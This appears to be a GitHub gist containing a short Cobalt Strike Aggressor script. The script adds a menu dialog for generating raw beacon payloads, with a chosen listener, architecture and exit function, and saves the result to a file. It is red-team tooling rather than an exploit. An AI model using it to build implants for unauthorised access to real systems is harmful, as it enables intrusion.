Skip to content

Instantly share code, notes, and snippets.

@gitjdm
Created October 4, 2020 18:04
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save gitjdm/527d54ffef1afa820dff230cee72f0ba to your computer and use it in GitHub Desktop.
Save gitjdm/527d54ffef1afa820dff230cee72f0ba to your computer and use it in GitHub Desktop.
Cobalt Strike raw payload generation dialog that allows the exit function to be specified
popup attacks_other {
item("Payload (Choose Exit Function)", { GenPayloadDialog(); });
}
sub GenPayloadDialog {
$dialog = dialog("Payload", %(listener => "", arch => "", exitfunc => ""), &GenPayload);
drow_listener_stage($dialog, "listener", "Listener: ");
drow_combobox($dialog, "exitfunc", "Exit Function: ", @("thread", "process"));
drow_combobox($dialog, "arch", "Arch: ", @("x64", "x86"));
dbutton_action($dialog, "Generate");
dialog_show($dialog);
}
sub GenPayload {
$data = payload($3['listener'], $3['arch'], $3['exitfunc']);
prompt_file_save($null, {
local('$handle');
$handle = openf("> $+ $1");
writeb($handle, $data);
closef($handle);
show_message("Saved payload to\n$1");
});
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment